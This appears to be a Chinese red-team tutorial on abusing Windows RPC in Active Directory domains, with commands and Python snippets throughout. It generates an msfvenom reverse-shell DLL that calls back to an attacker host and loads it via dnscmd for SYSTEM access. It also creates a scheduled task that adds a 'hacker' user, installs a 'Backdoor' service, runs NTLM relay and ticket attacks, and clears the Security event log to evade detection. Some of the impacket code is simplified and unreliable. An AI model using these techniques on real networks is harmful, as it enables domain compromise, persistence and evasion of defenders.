1. Windows RPC协议基础与红队视角
Windows RPC(Remote Procedure Call)是微软实现的一套进程间通信机制,它允许程序像调用本地函数一样执行远程计算机上的代码。在红队行动中,RPC协议就像一把"万能钥匙"——AD域控、文件服务器、数据库服务等核心系统都依赖RPC进行通信,这使得它成为内网渗透的重要突破口。
我曾在一次实战中遇到这样的情况:通过一个普通的域用户权限,利用RPC协议漏洞在30分钟内就拿到了域控权限。这让我深刻认识到,理解RPC协议的工作机制对红队工程师而言,就像厨师了解火候一样关键。
1.1 RPC协议的三层架构
Windows RPC协议栈可以形象地比作一个快递系统:
- 应用层:就像寄件人填写快递单,定义要调用的函数(如创建用户、执行命令)
- MIDL层:类似快递打包站,将参数序列化为NDR(Network Data Representation)格式
- 传输层:相当于快递运输,支持以下通道:
- TCP/IP(ncacn_ip_tcp) - SMB命名管道(ncacn_np) - HTTP(ncacn_http) - Local RPC(ncalrpc)
1.2 关键端口与服务
在实战中,这些端口就像攻击面的"地标":
- 135端口:RPC Endpoint Mapper,相当于服务目录中心
- 动态端口:49152-65535范围内,实际服务运行端口
- 445端口:SMB上的RPC调用通道
通过以下命令可以快速定位服务位置:
rpcdump.py 192.168.1.100 | grep -i "MS-TSCH" # 查找任务计划服务1.3 RPC与AD域的关系
Active Directory中80%的核心功能都依赖RPC协议,比如:
- 域用户认证(Netlogon服务)
- 组策略同步(GPO)
- 域控间数据复制(DRS接口)
在一次红队演练中,我们曾通过PetitPotam漏洞强制域控向我们的服务器发起认证,仅用以下命令就实现了NTLM中继攻击:
python3 petitpotam.py -d demo.com -u user -p pass 192.168.1.1 10.0.0.22. RPC信息收集技巧
2.1 服务枚举技术
使用Impacket工具包可以像"雷达扫描"一样发现可用服务:
rpcdump.py 192.168.1.100 | tee rpc_services.txt典型输出示例:
Protocol: [MS-TSCH] Task Scheduler Provider: taskcomp.dll UUID : 86D35949-83C9-4044-B424-DB363231FD0C v1.02.2 网卡信息泄露
通过IOXIDResolver接口可以无需认证获取目标网卡信息,这在定位"跳板机"时特别有用:
from impacket.dcerpc.v5 import transport, ioxidresolver binding = r'ncacn_ip_tcp:192.168.1.100[135]' trans = transport.DCERPCTransportFactory(binding).get_dce_rpc() trans.connect() dce = ioxidresolver.IOXIDResolver(trans) dce.ServerAlive2()这个技巧曾帮助我们在某次演练中发现了管理员疏忽暴露的双网卡服务器。
2.3 用户与组枚举
当获取到低权限账户后,rpcclient就像一把"万能钥匙":
rpcclient -U 'user%password' 192.168.1.100 -c 'enumdomusers'输出示例:
user:[Administrator] rid:[0x1f4] user:[SQLService] rid:[0x452]3. 权限提升实战手法
3.1 MS-SAMR密码修改漏洞
在拿到普通用户权限后,可以通过SAMR接口修改密码(需知道原密码):
from impacket.dcerpc.v5 import samr # 建立SAMR连接 samr_con = samr.SamrConnect2(target_ip) # 打开域账户 user_handle = samr.SamrOpenUser(samr_con, user_rid) # 修改密码 samr.SamrChangePasswordUser(user_handle, old_pw, new_pw)3.2 DNSAdmin到SYSTEM提权
当用户属于DNSAdmins组时,可以通过加载恶意DLL实现提权:
- 生成恶意DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > evil.dll - 通过RPC配置DNS服务:
dnscmd.exe /config /serverlevelplugindll \\10.0.0.1\share\evil.dll - 重启DNS服务触发
3.3 计划任务滥用
通过MS-TSCH接口创建隐藏计划任务:
from impacket.dcerpc.v5 import tsch # 创建XML任务定义 xml = """<?xml version="1.0"?> <Task><Actions><Exec> <Command>cmd.exe</Command> <Arguments>/c "net user hacker P@ssw0rd /add"</Arguments> </Exec></Actions></Task>""" # 调用RPC接口 tsch.SchRpcRegisterTask(target_ip, "\\evil_task", xml, 0x2, None, 0)4. 横向移动高级技巧
4.1 票据传递攻击
当获取到Kerberos票据后,可以通过RPC进行验证:
export KRB5CCNAME=/tmp/admin.ccache python3 wmiexec.py -k -no-pass domain/admin@dc01.demo.com4.2 打印机漏洞利用
利用MS-RPRN强制认证进行中继攻击:
from impacket.dcerpc.v5 import rprn binding = r'ncacn_np:192.168.1.100[\PIPE\spoolss]' dce = rprn.DCERPC(binding) dce.bind(rprn.MSRPC_UUID_RPRN) dce.call(rprn.RpcRemoteFindFirstPrinterChangeNotificationEx, ...)4.3 服务控制器滥用
通过MS-SCMR接口远程创建服务:
from impacket.dcerpc.v5 import scmr # 连接服务控制器 scmr_con = scmr.OpenSCManagerW(target_ip) # 创建服务 service = scmr.CreateServiceW(scmr_con, "Backdoor", "Backdoor", lpBinaryPathName="cmd.exe /c calc.exe") # 启动服务 scmr.StartServiceW(scmr_con, service['lpServiceHandle'])5. 防御规避与反制
5.1 绕过EDR检测
通过直接RPC调用替代常见命令:
- 用
SamrEnumerateUsersInDomain替代net user - 用
NetrShareEnum替代net share
5.2 日志清除技术
通过事件日志RPC接口清除日志:
from impacket.dcerpc.v5 import even dce = even.DCERPC(binding) dce.bind(even.MSRPC_UUID_EVEN) dce.call(even.ElfrClearELFW, "Security")5.3 隐蔽通道构建
利用RPC over HTTP创建隐蔽通道:
RpcServerUseProtseqEp( L"ncacn_http", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, L"8080", NULL);在实战中,我曾见过攻击者将RPC流量伪装成正常HTTPS通信,持续潜伏超过6个月未被发现。这提醒我们,防御方必须对RPC流量进行深度行为分析,而不仅仅是端口检测。